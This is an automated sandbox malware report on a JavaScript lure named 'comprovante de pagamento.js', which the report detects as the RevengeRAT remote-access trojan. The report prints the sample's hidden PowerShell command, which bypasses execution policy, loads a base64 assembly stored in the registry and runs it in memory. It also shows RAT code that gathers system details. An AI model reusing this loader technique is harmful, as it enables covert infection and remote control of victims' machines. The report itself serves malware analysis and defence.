Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4620			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5263			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4048

Thread sleep time: -11990383647911201s >= -30000s

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: powershell.exe, 00000001.00000002.2980065256.00000176F61C8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

Source: C:\Windows\System32\wscript.exe

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "$_b = (get-itemproperty -path 'hkcu:\software\microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [system.convert]::frombase64string($_b);$_1 = [system.threading.thread]::getdomain().load($_0);$_1.entrypoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noexit -executionpolicy bypass -windowstyle hidden -command "$_b = (get-itemproperty -path 'hkcu:\software\microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [system.convert]::frombase64string($_b);$_1 = [system.threading.thread]::getdomain().load($_0);$_1.entrypoint.invoke($null,$null);"			Jump to behavior

Source: powershell.exe, 00000001.00000002.2959069281.000001768056A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2959069281.0000017680564000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2959069281.0000017681EA2000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Program Manager

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: powershell.exe, 00000001.00000002.2980065256.00000176F61C8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2980065256.00000176F6222000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntiVirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RevengeRAT

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.powershell.exe.1768164d990.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.176f6380000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.176f6380000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.17680368c20.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.17680368c20.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1768164d990.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2959069281.0000017681597000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2959069281.00000176818A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6996, type: MEMORYSTR

Found RAT behaviour (information extraction to be send to C&C)

Source: 1.2.powershell.exe.17680368c20.0.raw.unpack, IdGenerator.cs	.Net Code: Dns.GetHostByName(Dns.GetHostName()) new ManagementObjectSearcher("select * from Win32_Processor").Get().GetEnumerator() Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0", "ProcessorNameString", null)
Source: 1.2.powershell.exe.176f6380000.2.raw.unpack, IdGenerator.cs	.Net Code: Dns.GetHostByName(Dns.GetHostName()) new ManagementObjectSearcher("select * from Win32_Processor").Get().GetEnumerator() Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0", "ProcessorNameString", null)
Source: 1.2.powershell.exe.1768164d990.1.raw.unpack, IdGenerator.cs	.Net Code: Dns.GetHostByName(Dns.GetHostName()) new ManagementObjectSearcher("select * from Win32_Processor").Get().GetEnumerator() Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0", "ProcessorNameString", null)

Remote Access Functionality

Yara detected RevengeRAT

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.powershell.exe.1768164d990.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.176f6380000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.176f6380000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.17680368c20.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.17680368c20.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1768164d990.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2959069281.0000017681597000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2959069281.00000176818A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6996, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	21 Windows Management Instrumentation	22 Scripting	12 Process Injection	1 Masquerading	OS Credential Dumping	31 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	12 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
comprovante de pagamento.js	5%	ReversingLabs

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.2974720720.000001769008B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2974720720.00000176901C2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.2959069281.0000017680001000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.2959069281.0000017680001000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 00000001.00000002.2959069281.00000176818A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000001.00000002.2974720720.00000176901C2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.2974720720.000001769008B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2974720720.00000176901C2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000001.00000002.2974720720.00000176901C2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000001.00000002.2974720720.00000176901C2000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
38.51.135.44	unknown	United States		174	COGENT-174US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578395
Start date and time:	2024-12-19 16:41:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	comprovante de pagamento.js
Detection:	MAL
Classification:	mal100.troj.expl.evad.winJS@4/3@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 13 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: comprovante de pagamento.js

Simulations

Behavior and APIs

Time	Type	Description
10:42:02	API Interceptor	3591158x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COGENT-174US	arm7.nn-20241219-1505.elf	Get hash	malicious	Mirai, Okiru	Browse	206.1.243.67
	arm5.nn-20241219-1505.elf	Get hash	malicious	Mirai, Okiru	Browse	38.198.210.196
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	149.51.56.62
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	149.122.211.39
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	167.141.20.244
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.216.49.233
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	206.250.148.68
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.57.123.8
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	167.141.205.77
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.165.175.31

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11887
Entropy (8bit):	4.901437212034066
Encrypted:	false
SSDEEP:	192:Zxoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9L:Srib4ZmVoGIpN6KQkj2Fkjh4iUxsNYWd
MD5:	ED30A738A05A68D6AB27771BD846A7AA
SHA1:	6AFCE0F6E39A9A59FF54956E1461F09747B57B44
SHA-256:	17D48B622292E016CFDF0550340FF6ED54693521D4D457B88BB23BD1AE076A31
SHA-512:	183E9ECAF5C467D7DA83F44FE990569215AFDB40B79BCA5C0D2C021228C7B85DF4793E2952130B772EC0896FBFBCF452078878ADF3A380A6D0A6BD00EA6663F2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l1rgfjrx.rvg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nllkxrvf.vkw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (32767), with no line terminators
Entropy (8bit):	3.456824357283798
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	comprovante de pagamento.js
File size:	119'582 bytes
MD5:	0c3e47c0fb0d5a289fded25fd9746817
SHA1:	2117b82b1724a2f146ffd015b50ce45c63d7fb87
SHA256:	2e166d7183aca77bc9ebaa54d8048374aa780ece1ffc159ecf57ec75f96a8e4d
SHA512:	bf8b2895fa9cf32c651d67ff68c3156dfd2f32e4fc9308ec5a190eaf942816feae1357086b150442c4359619356cf6cf3bd4e9bcf8d866b52c51b0c3978133ad
SSDEEP:	1536:D12+GPp0PG/6Rn/T5d1XtQpm7GOzYCtFA:p2+GB0PG/sn/T5dt+IdG
TLSH:	C5C380AC7CE7A03E6255C995A7D0516BF429639F520E3B9618C3C3D9472360BE4A8F3C
